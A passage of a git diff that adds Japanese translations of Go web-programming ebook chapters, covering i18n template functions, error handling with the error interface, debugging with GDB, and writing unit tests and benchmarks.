//出力:2009年1月08日 星期四 20:37:58 CST + + fmt.Println(Tr.Time(time.Now(),"long")) + //出力:2009年1月08日 + + fmt.Println(Tr.Money(11.11)) + //出力:¥11.11 + +## template mapfunc +上では複数の言語パッケージの管理とロードを実装しました。いくつかの関数の実装はロジックレイヤに基いています。例えば:"Tr.Translate"、"Tr.Time"、"Tr.Money"等です。ロジックレイヤではこのような関数を利用して必要なパラメータに対し置換を行った後テンプレートレイヤに適用する際直接出力することができます。しかしもしテンプレートレイヤでこれらの関数を直接使いたい場合はどのように実現するのでしょうか?覚えていらっしゃいますか、前にテンプレートをご紹介した時に:Go言語のテンプレートはカスタムなテンプレート関数をサポートしています。以下では操作に便利なmapfuncを実装します: + +1. テキスト情報 + +テキスト情報は`Tr.Translate`をコールすることで対応するデータを置換します。mapFuncの実装は以下のとおり: + + func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Translate(s) + } + +関数の登録は以下のとおり: + + t.Funcs(template.FuncMap{"T": I18nT}) + +テンプレートでの使用は以下のとおり: + + {{.V.Submit | T}} + + +2. 時間と日時 + +時間と日時は`Tr.Time`関数をコールすることで対応する時間を置換します。mapFuncの実装は以下のとおり: + + func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) + } + +関数の登録は以下のとおり: + + t.Funcs(template.FuncMap{"TD": I18nTimeDate}) + +テンプレートでの使用は以下のとおり: + + {{.V.Now | TD}} + +3. 通貨情報 + +通貨`Tr.Money`関数をコールすることで対応する時間を置換します。mapFuncの実装は以下のとおり: + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) + } + +関数の登録は以下のとおり: + + t.Funcs(template.FuncMap{"M": I18nMoney}) + +テンプレートでの使用は以下のとおり: + + {{.V.Money | M}} + +## 概要 +この節を通して多言語パッケージのWebアプリケーションをどのようにして実現するかわかりました。カスタム言語パッケージでは便利に多言語を実装することができます。また、設定ファイルによって非常に簡単に複数の言語を拡張することもできます。デフォルトではgo-i18nはパブリックな設定ファイルをロードします。例えば時間、通貨等です。非常に簡単に使用することができ、同時にテンプレートにおいてこれらの関数をサポートするため、対応するテンプレート関数も実装しました。このようにしてWebアプリケーションを開発する際直接テンプレートにおいてpipelineの方法で多言語パッケージを操作することができます。 + +## links + * [目次]() + * 前へ: [ローカライズリソース](<10.2.md>) + * 次へ: [概要](<10.4.md>) diff --git a/ja/ebook/10.4.md b/ja/ebook/10.4.md new file mode 100644 index 00000000..4fa5dc24 --- /dev/null +++ b/ja/ebook/10.4.md @@ -0,0 +1,6 @@ +# 10.4 概要 +この章の紹介を通じて、読者はどのようにしてi18nを操作するかに対して深く理解が得られたはずです。私もこの章の内容にもとづいてオープンソースのソリューションであるgo-i18nをご紹介しました:https://github.com/astaxie/go-i18n このオープンソースライブラリを通して多言語バージョンのWebアプリケーションを非常に簡単に実現することができ、我々のアプリケーションに気楽に国際化を実現させることができます。もしこのオープンソースライブラリに間違いや足りない部分があれば、ぜひこのオープンソースプロジェクトに参加することで、このライブラリがGoの標準ライブラリになるよう手助けしてください。 +## links + * [目次]() + * 前へ: [国際化サイト](<10.3.md>) + * 次へ: [エラー処理、故障の排除とテスト](<11.0.md>) diff --git a/ja/ebook/11.0.md b/ja/ebook/11.0.md new file mode 100644 index 00000000..517fb213 --- /dev/null +++ b/ja/ebook/11.0.md @@ -0,0 +1,19 @@ +# 11 エラー処理、デバッグとテスト +大部分のプログラマが"プログラム"を行う時間をbugの検査とbugの修正にかけています。あなたがコードを修正しているかシステムを再構築しているかに関わらず、ほとんどは大量の時間を故障の排除とテストに費やしています。外の世界は我々プログラマをデザイナだと思い込んでいます。システムをゼロから作り出すことができ、とても偉大で相当面白みのある仕事だと。しかし実際のところ我々は毎日エラーを取り除き、デバッグし、テストを行うことに終始しています。当然もしあなたに良い習慣があり、技術プランとこのような問題に直面しているとしたら、エラーを排除する時間を最小限に抑えて時間を価値のある事柄に費やそうとするかもしれません。 + +しかし残念なことに多くのプログラマはエラーの処理、デバッグやテストに時間をかけたいとは思いません。結果、アプリケーションが実運用された後になってエラーを探し出し問題を特定することにより多くの時間を費やすことになります。そのため、我々はアプリケーションを設計する前にエラー処理のプランやテスト等を前もって準備します。将来コードを修正、システムをアップグレードするのが簡単になります。 + +Webアプリケーションを開発するにあたって、エラーは避けられないものです。ではどのようにしてエラーの原因と問題の解決を探し出せばよいのでしょうか? 11.1節ではGo言語においてどのようにエラー処理を行い、自分のパッケージを設計して、関数のエラー処理を行うかご紹介します。11.2節ではGDBを使ってどのように我々のプログラムをデバッグするかご紹介します。動的に実行した状況かで各種変数の情報、実行状況の監視とデバッグ。 + +11.3節ではGo言語のユニットテストに対して深く見ていくことにします。どのようにしてユニットテストを書くのかやGoのユニットテストのルールをどのように定義するのかをご紹介し、今後アップグレードや修正に対応したテストコードが最小化されたテストを実行できるよう保証します。 + +長きにわたって、良好なデバッグ、テストの習慣を身につけるのは多くのプログラマが逃げてきた事柄です。ですから、もう逃げないでください。あなたの現在のプロジェクトの開発から。Go Web開発を学習することで良好な習慣を身につけてください。 + +## 目次 + +![](images/navi11.png?raw=true) + +## links + * [目次]() + * 前へ: [第十章概要](<10.4.md>) + * 次へ: [エラー処理](<11.1.md>) diff --git a/ja/ebook/11.1.md b/ja/ebook/11.1.md new file mode 100644 index 00000000..f1bd07ae --- /dev/null +++ b/ja/ebook/11.1.md @@ -0,0 +1,200 @@ +# 11.1 エラー処理 +Go言語の主な設計は:簡潔、明瞭です。完結とは文法がCと似ていて、かなり簡単であるということです。明瞭とはいかなるキーワードも分かりやすいということを指しています。どのような隠された意味も含まず、エラー処理の設計でもこの思想は一貫しています。C言語では-1またはNULLをといった情報を返すことでエラーを表していることをご存知だと思います。しかしユーザからすると、対応するAPIの説明ドキュメントを見なければ、この戻り値がいったいどういう意味を表しているのかそもそもよくわかりません。例えば:0を返すと成功するのか失敗するのかといったことです。Goではerrorと呼ばれる型を定義することで、エラーを表しています。使用する際は、返されるerror変数とnilを比較することで操作が成功したか判断します。例えば`os.Open`関数はファイルのオープンに失敗した時にnilではないerror変数を返します。 + + func Open(name string) (file *File, err error) + +下の例は`os.Open`を使ってファイルをひとつオープンします。もしエラーが発生すれば`log.Fatal`にをコールすることでエラー情報を出力することができます: + + f, err := os.Open("filename.ext") + if err != nil { + log.Fatal(err) + } + +`os.Open`関数に似て、標準パッケージのすべてのエラーを発生させうるAPIはどれもerror変数を返すので、簡単にエラー処理を行うことができます。この節ではerror型の設計を詳細にご紹介し、Webアプリケーションの開発におけるよりよいerror処理について論じます。 +## Error型 +error型はインターフェース型の一つです。定義は: + + type error interface { + Error() string + } + +errorはビルトインのインターフェース型のひとつです。/builtin/パッケージの下に対応する定義を探すことができます。多くの内部パッケージにおいて使用されるerrorはerrorsパッケージ以下で実装されたプライベート構造体errorStringです。 + + // errorString is a trivial implementation of error. + type errorString struct { + s string + } + + func (e *errorString) Error() string { + return e.s + } + +`errors.New`を通して文字列をerrorStringに変換することで、インターフェースerrorを満たすオブジェクトを得ることができます。内部の実装は以下の通り: + + // New returns an error that formats as the given text. + func New(text string) error { + return &errorString{text} + } + +以下の例ではどのように`errors.New`を使用するかデモを行います: + + func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation + } + +以下の例ではSqrtをコールした際に負の数を渡し、non-nilなerrorオブジェクトを取得しています。このオブジェクトをnilと比較し、結果としてtrueを得ることでfmt.Println(fmtパッケージはerrorを処理する際Errorメソッドをコールします)がコールされ、エラーを出力します。下のコールのコード例をご覧ください: + + f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } + +## カスタム定義のError +上のご紹介で我々はerrorが単なるinterfaceだとわかりました。そのため自分のパッケージを実装する際、このインターフェースを実装する構造体を定義することで、自分のエラー定義を実装することができます。Jsonパッケージの例をご覧ください: + + type SyntaxError struct { + msg string // エラーの説明 + Offset int64 // エラーが発生した場所 + } + + func (e *SyntaxError) Error() string { return e.msg } + +OffsetフィールドはErrorをコールする時には出力されません。しかし型アサーションを通してエラーの型を取得することができますので、対応するエラー情報を出力することができます。下の例をご覧ください: + + if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err + } + +関数がカスタム定義のエラーを返す時は戻り値にerror型を設定するようおすすめします。特に前もって宣言しておく必要のないエラー型の変数には注意が必要です。例えば: + + func Decode() *SyntaxError { // エラー、上のレイヤでコールした利用者によるerr!=nilの判断が永遠にtrueになります。 + var err *SyntaxError // 予めエラー変数を宣言します + if エラー条件 { + err = &SyntaxError{} + } + return err // エラー、errは永久にnilではない値と等しくなり、上のレイヤでコールした利用者によるerr!=nilの判断が常にtrueとなります + } + +原因はこちら http://golang.org/doc/faq#nil_error + +上の例による簡単なデモでError型をどのようにして自分で定義するかお見せしました。しかしもしもっと複雑なエラー処理を必要とした場合はどうすればよいのでしょうか?netパッケージが採用している方法を参考にします: + + package net + + type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? + } + +コールされる場所ではerrがnet.Errorかどうか型アサーションにより判断することで、エラーの処理を細分化しています。例えば下の例ではもしネットワークに一時的にエラーが発生している場合にsleep 1秒を行なってリトライを行います: + + if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue + } + if err != nil { + log.Fatal(err) + } + +## エラー処理 +Goはエラー処理においてCに似た戻り値を検査する方法を採用しており、その他の大多数の主流な言語が採用する例外方式ではありません。これはコードを書く上でとても大きな欠点の一つです。エラー処理コードの冗長さは、このような状況において我々が検査関数を再利用することによって似たようなコードを減らします。 + +このコード例をご確認ください: + + func init() { + http.HandleFunc("/view", viewRecord) + } + + func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } + } + +上の例ではデータの取得とテンプレートの展開をコールする時にエラーの検査を行なっています。絵r−あが発生した場合は共通の処理関数である`http.Error`をコールし、クライアントに500エラーを返して対応するエラーデータを表示します。しかしHnadleFuncが追加されるに従って、このようなエラー処理ロジックのコードが多くなってきてしまいます。実は我々は自分で定義したルータを使ってコードを短縮させることができます(実装のやり方は第三章のHTTPの詳しい説明をご参考下さい)。 + + type appHandler func(http.ResponseWriter, *http.Request) error + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } + } + +上では自分でルータを定義しています。以下の方法によって関数を登録することができます: + + func init() { + http.Handle("/view", appHandler(viewRecord)) + } + +/viewをリクエストした時、我々のロジック処理は以下のようなコードに変わります。はじめの実装方法と比べるとだいぶ簡単になっています。 + + func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) + } + +上の例でエラー処理を行った場合すべてのエラーはユーザに500エラーとして返ります。その後対応するエラーコードを出力します。このエラー情報の定義はもっとユーザビリティを上げることもできます。デバッグする際に問題の箇所を確定するのに便利です。自分で返るエラー型を定義することもできます: + + type appError struct { + Error error + Message string + Code int + } + +自分で定義したルータを以下のようなメソッドに変更します: + + type appHandler func(http.ResponseWriter, *http.Request) *appError + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } + } + +このように自分で定義したエラーを修正した後、ロジックは以下のようなメソッドに修正できます: + + func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil + } + +上で示したとおり、viewにアクセスした際異なる状況によって異なるエラーコードとエラー情報を取得することができます。これははじめのバージョンに比べてコード量にさほど変化はありませんが、これが表示するエラーはよりわかりやすくなっています。提示されるエラー情報のユーザビリティが高められ、拡張性もはじめのものに比べてよくなっています。 + +## 概要 +プログラムの設計において障害の許容は重要な仕事の一部です。Goではエラー処理によってこれを実現します。errorはひとつのインターフェースに過ぎませんが、多くに変化させることができます。自分の需要に合わせて異なる処理を実装することができます。最後にご紹介したエラー処理の方法で、皆様によりよいWebエラーの処理の方法を設計するにあたってご助力になれば幸いです。 + +## links + * [目次]() + * 前へ: [エラー処理、デバッグおよびテスト](<11.0.md>) + * 次へ: [GDBを使用してデバッグする](<11.2.md>) diff --git a/ja/ebook/11.2.md b/ja/ebook/11.2.md new file mode 100644 index 00000000..1c6c1728 --- /dev/null +++ b/ja/ebook/11.2.md @@ -0,0 +1,249 @@ +# 11.2 GDBを使用してデバッグする +プログラムを開発するにあたって開発者は度々デバッグコードを書く必要があります。Go言語は、PHPやPythonといった動的な言語のようにコンパイラを必要とせず修正を行うだけで直接出力し、動的に実行環境下でデータを出力できるわけではありません。当然Go言語もPrintlnのようにデータを出力することでデバッグすることはできますが、毎回再コンパイルする必要があります。これは非常に面倒くさいことです。Pythonではpdb/ipdbのようなツールによってデバッグを行うことができますし、Javascriptにも似たようなツールがあります。これらのツールはどれも動的に変数情報を表示させることや、ステップ実行ができます。我々はGDBを使ってデバッグすることができます。ではこの節ではどのようにしてGDBによってGoプログラムをデバッグするのかご紹介しましょう。 + +## GDBデバッグの簡単な紹介 +GDBはFSF(フリーソフトウェア財団)が配布している強力なUNIXシステムのプログラムデバッグツールです。GDBを使って以下のようなことができます: + +1. プログラムを起動して、開発者が定義した要求にしたがってプログラムを実行できます。 +2. デバッグされるプログラムは開発者の設定したブレークポイントで止めることができます。(ブレークポイントは条件式にすることができます。) +3. プログラムが停止した時、この時のプログラムで発生している事柄を検査することができます。 +4. 動的に現在のプログラムの実行環境を変更することができます。 + +現在GoプログラムのデバッグをサポートしているGDBのバージョンは7.1以上です。 + +Goプログラムをコンパイルするときは以下のいくつかに注意してください + +1. パラメータは-ldflags "-s"は、debugの情報の出力を省略します。 +2. -gcflags "-N -l" パラメータではGoの内部で行われるいくつかの最適化を無視できます。集成体型変数と関数の最適化です。これらはGDBのデバッグでは非常に困難ですので、コンパイルする時にこの2つのパラメータを追加することで最適化を避けます。 + +## よく使うコマンド +GDBでよく使うコマンドのいくつかは以下の通りです + +- list + + `l`と省略されます。ソースコードを表示するために使用されます。デフォルトで10行のコードを表示します。後ろに表示する具体的な行をパラメータとして渡すことができます。例えば:`list 15`では10行のコードを表示し、以下のように15行目が10行のうちの中心に表示されます。 + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + + +- break + + `b`と省略されます。ブレークポイントを設定するために用いられます。後ろにブレークポイントを置く行をパラメータとして追加します。例えば`b 10`では10行目にブレークポイントが置かれます。 + +- delete + `d`と省略されます。ブレークポイントを削除するために用いられます。後ろにブレークポイントの番号がつきます。この番号は`info breakpoints`によって対応する設定されたブレークポイントの番号を取得できます。以下では設定されたブレークポイントの番号を表示します。 + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + + `bt`と省略されます。以下のように実行しているコードの過程を出力するために用いられます: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () +- info + + infoコマンドは情報を表示します。後ろにいくつかのパラメータがあります。よく使われるものは以下のいくつかです: + + - `info locals` + + 現在実行しているプログラムの変数の値を表示します。 + - `info breakpoints` + + 現在設定しているブレークポイントのリストを表示します。 + - `info goroutines` + + 現在実行しているgoroutineのリストを表示します。以下のコードが示すとおり*がついているものは現在実行しているものです。 + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched +- print + + `p`と省略されます。変数またはその他の情報を表示するのに用いられます。後ろに出力する必要のある変数名が追加されます。当然とても使いやすい関数$len()と$cap()もあります。現在のstring、slicesまたはmapsの長さと容量を返すのに使われます。 + +- whatis + + 現在の変数の型を表示するのに用いられます。後ろに変数名がつきます。たとえば`whatis msg`では以下のように表示されます: + + type = struct string +- next + + `n`と省略されます。ステップ実行に使われます。次のステップに進みます。ブレークポイントがあれば`n`を入力することで次のステップまで続けて実行することができます。 +- coutinue + + `c`と省略されます。現在のブレークポイントから抜けます。後ろにパラメータをつけることで、何回かのブレークポイントを飛び越えることができます。 + +- set variable + + このコマンドは実行中の変数の値を変更するのに用いられます。フォーマットは以下のとおり: `set variable =` + +## デバッグ過程 +以下のコードによってどのようにGDBを使ってGoプログラムをデバッグするのかデモを行います。以下はデモコードです: + + package main + + import ( + "fmt" + "time" + ) + + func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) + } + + func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) + } + } + +ファイルをコンパイルして実行可能ファイルgdbfileを生成します: + + go build -gcflags "-N -l" gdbfile.go + +gdbコマンドによってデバッグを起動します: + + gdb gdbfile + +起動したらまずこのプログラムが実行できるか見てみましょう。`run`コマンドを入力してエンターキーを押すとプログラムが実行されます。プログラムが正常であれば、プログラムは以下のように出力します。コマンドラインで直接プログラムを実行したのと同じです: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] + [Inferior 1 (process 2771) exited normally] +よし、プログラムをどのようにして起動するかわかりました。次にプログラムにブレークポイントを設定します: + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +上の例では`b 23`で23行目にブレークポイントを設定しました。その後`run`を入力するとプログラムが開始します。現在プログラムは前に設定されたブレークポイントで停止しています。ブレークポイントに対応するコンテキストのソースコードを知るためには、`list`と入力することでソースコードが現在停止している行の前の5行から表示させることができます: + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +GDBが実行している現在のプログラムの環境ではいくつかの便利なデバッグ情報を持っています。対応する変数を出力するだけで、対応する変数の型と値を確認することができます: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +次にこのプログラムを継続して実行させ続けなければなりません。以下のコマンドをご覧ください + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +毎回`c`を入力する度に一回のコードが実行されます。次のforループにジャンプして、続けて対応する情報を出力します。 + +現在コンテキストの関連する変数の情報を変えたいとします。いくつかのプロセスを飛び越えて、続けて次のステップを実行し、修正を行った後に欲しい結果を得ます: + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +最後に少しだけ考えてみましょう。前のプログラムの実行の全過程ではいくつのgorutineが作成されたでしょうか。各goroutineは何をやっているのでしょうか: + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +goroutinesのコマンドを確認することでgoroutineの内部がどのように実行されているのか詳しく理解することができます。各関数のコールされる順番はすでにはっきり表示されています。 + +## 概要 +この章ではGDBデバッグにおけるGoプログラムの基本コマンドのいくつかをご紹介しました。`run`、`print`、`info`、`set variable`、`continue`、`list`、`break`といったよく使われるデバッグコマンドを含め、上のデモで行ったように、読者はすでにGoプログラムに対してGDBを使ったデバッグを基本的に理解したものと信じています。もしより多くのデバッグテクニックを知りたければオフィシャルのページのGDBデバッグの項目をご参照ください。 + +## links + * [目次]() + * 前へ: [エラー処理](<11.1.md>) + * 次へ: [Goでどのようにテストを書くか](<11.3.md>) diff --git a/ja/ebook/11.3.md b/ja/ebook/11.3.md new file mode 100644 index 00000000..f5fe232a --- /dev/null +++ b/ja/ebook/11.3.md @@ -0,0 +1,149 @@ +# 11.3 Goでどのようにテストを書くか +プログラムの開発においてテストはとても重要です。どのようにコードの質を保証するか、どのように各関数が実行できることを保証するか、また書いたコードの性能が良いことをどのように保証するかです。我々はユニットテストは主にプログラムの設計や実装のロジックエラーを発見することであると知っています。問題を早期に発見し、問題を特定し解決せしめ、性能をテストするにはプログラム設計上の問題のいくつかを発見することで、オンラインのプログラムがマルチプロセッシングしている状況でも安定を保てるようにします。この節ではこの一連の問題からGo言語でどのようにユニットテストと性能テストを実現するかご紹介します。 + +Go言語はあらかじめ用意されている軽量なテストフレームワーク`testing`と`go test`コマンドを使ってユニットテストと性能テストを実現します。`testing`フレームワークとその他の言語でのテストフレームワークはよく似ています。このフレームワークに基いて対応する関数に対してテストを書くことができます。またこのフレームワークに基づいて対応する耐久テストを書くこともできます。ではどのように書くのか一つ一つ見ていくことにしましょう。 + +## どのようにテストを書くか +`go test`コマンドでは対応するディレクトリ下の全てのファイルを実行するしかできません。そのため、`gotest`というディレクトリを新規に作成することで、すべてのコードとテストコードをこのディレクトリの中に配置することにします。 + +次にこのディレクトリの下に2つのファイルを新規に作成します:gotest.goとgotest_test.go + +1. gotest.go:このファイルにはパッケージを一つ書きます。中身は除算を行う関数がひとつあります: + + package gotest + + import ( + "errors" + ) + + func Division(a, b float64) (float64, error) { + if b == 0 { + return 0, errors.New("除数は0以外でなければなりません") + } + + return a / b, nil + } + +2. gotest_test.go:これはユニットテストのファイルですが、以下の原則を覚えておいてください: + + - ファイル名は必ず`_test.go`が最後につくようにしてください。これによって`go test`を実行した時に対応するコードが実行されるようになります。 + - `testing`というパッケージをimportする必要があります。 + - すべてのテスト関数名は`Test`から始まります。 + - テストはソースコードに書かれた順番に実行されます。 + - テスト関数`TestXxx()`のパラメータは`testing.T`です。この型を使ってエラーやテストの状態を記録することができます。 + - テストフォーマット: `func TestXxx (t *testing.T)`、`Xxx`の部分は任意の英数字の組み合わせです。ただし頭文字は小文字[a-z]ではいけません、例えば`Testintdiv`というのは間違った関数名です。 + - 関数では`testing.T`の`Error`、`Errorf`、`FailNow`、`Fatal`、`FatalIf`メソッドをコールすることでテストがパスしないことを説明します。`Log`メソッドをコールすることでテストの情報を記録します。 + + 以下は我々のテストコードです: + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function + t.Error("除算関数のテストが通りません") // もし予定されたものでなければエラーを発生させます。 + } else { + t.Log("はじめのテストがパスしました") //記録したい情報を記録します + } + } + + func Test_Division_2(t *testing.T) { + t.Error("パスしません") + } + + プロジェクトのディレクトリにおいて`go test`を実行すると以下のような情報が表示されます: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: パスしません + FAIL + exit status 1 + FAIL gotest 0.013s + この結果が示すようにテストをパスしないのは、2つ目のテスト関数でテストが通らないコード`t.Error`を書いていたからです。では1つ目の関数が実行した状況はどうでしょうか?デフォルトでは`go test`を実行するとテストがパスする情報は表示されません。`go test -v`というオプションを追加する必要があります。このようにすると以下の情報が表示されます: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 1つ目のテストがパス + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: パスしません + FAIL + exit status 1 + FAIL gotest 0.012s + 上の出力はこのテストのプロセスを詳細に表示しています。テスト関数1`Test_Division_1`ではテストが通りました。しかし関数2`Test_Division_2`のテストは失敗しました。最後にテストが通らないという結論を得ました。以降ではテスト関数2を以下のようなコードに修正します: + + func Test_Division_2(t *testing.T) { + if _, e := Division(6, 0); e == nil { //try a unit test on function + t.Error("Division did not work as expected.") // 予期したものでなければエラーを発生 + } else { + t.Log("one test passed.", e) //記録したい情報を記録 + } + } + その後`go test -v`を実行すると以下のような情報を表示してテストがパスします: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 1つ目のテストがパス + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go:20: one test passed. 除数は0以外 + PASS + ok gotest 0.013s + +## どのようにして耐久テストを書くか +耐久テストは関数(メソッド)の性能を測るために用いられます。ここでは再掲しませんが、ユニットテストを書くのと同じようなものです。ただし以下のいくつかに注意しなければなりません: + +- 耐久テストは以下のループの形式で行われなければなりません。この中でXXXは任意の英数字の組み合わせです。ただし、頭文字は小文字ではいけません。 + + func BenchmarkXXX(b *testing.B) { ... } + +- `go test`はデフォルトで耐久テストの関数を実行しません。もし耐久テストを実行したい場合はオプション`-test.bench`を追加します。文法:`-test.bench="test_name_regex"`。例えば`go test -test.bench=".*"`はすべての耐久テスト関数をテストすることを表します +- 耐久テストではテストが正常に実行されるよう、ループの中において`testing.B.N`を使用することを覚えておいてください +- ファイル名はかならず`_test.go`で終わります + +以下ではwebbench_test.goという名前の耐久テストファイルを作成します。コードは以下の通り: + + package gotest + + import ( + "testing" + ) + + func Benchmark_Division(b *testing.B) { + for i := 0; i < b.N; i++ { //use b.N for looping + Division(4, 5) + } + } + + func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() //调用该函数停止压力测试的时间计数 + + //做一些初始化的工作,例如读取文件数据,数据库连接之类的, + //这样这些时间不影响我们测试函数本身的性能 + + b.StartTimer() //重新开始时间 + for i := 0; i < b.N; i++ { + Division(4, 5) + } + } + + +`go test -file webbench_test.go -test.bench=".*"`というコマンドを実行すると、以下のような結果が現れます: + + PASS + Benchmark_Division 500000000 7.76 ns/op + Benchmark_TimeConsumingFunction 500000000 7.80 ns/op + ok gotest 9.364s + +上の結果は我々がどのような`TestXXX`なユニットテスト関数も実行していないことを示しています。表示される結果は耐久テスト関数のみを実行しただけです。第一行には`Benchmark_Division`が500000000回実行され示し、毎回の実行が平均で7.76ミリ秒であったことを示しています。第二行は`Benchmark_TimeConsumingFunctin`が500000000回実行され、毎回の平均実行時間が7.80ミリ秒であったことを示しています。最後の1行は全体の実行時間を示しています。 + +## 概要  +上のユニットテストと耐久テストの学習を通じて、`testing`パッケージが非常に軽量で、ユニットテストと耐久テストを書くのは非常に簡単であるとわかりました。ビルトインの`go test`コマンドを組み合わせることで、非常に便利にテストを行うことができます。このように我々が毎回コードを修正し終わる度に、go testを実行するだけで簡単に回帰テストを行うことができます。 + + +## links + * [目次]() + * 前へ: [GDBを使用したデバッグ](<11.2.md>) + * 次へ: [概要](<11.4.md>) diff --git a/ja/ebook/11.4.md b/ja/ebook/11.4.md new file mode 100644 index 00000000..eb61c3f1 --- /dev/null +++ b/ja/ebook/11.4.md @@ -0,0 +1,7 @@ +# 11.4 概要 +この章では3つの節に分けてGo言語においてどのようにエラーを処理するか、どのようにエラー処理を設計するかをご紹介しました。第二節ではどのようにしてGDBを使ってプログラムをデバッグするかご紹介しました。GDBを使うことで我々は簡単にステップ実行、変数の表示、変数の修正、実行過程の出力等を行うことができます。最後にどのようにしてGo言語がはじめから持っている軽量なフレームワーク`testing`を利用してユニットテストと耐久テストを書くかについてご紹介しました。`go 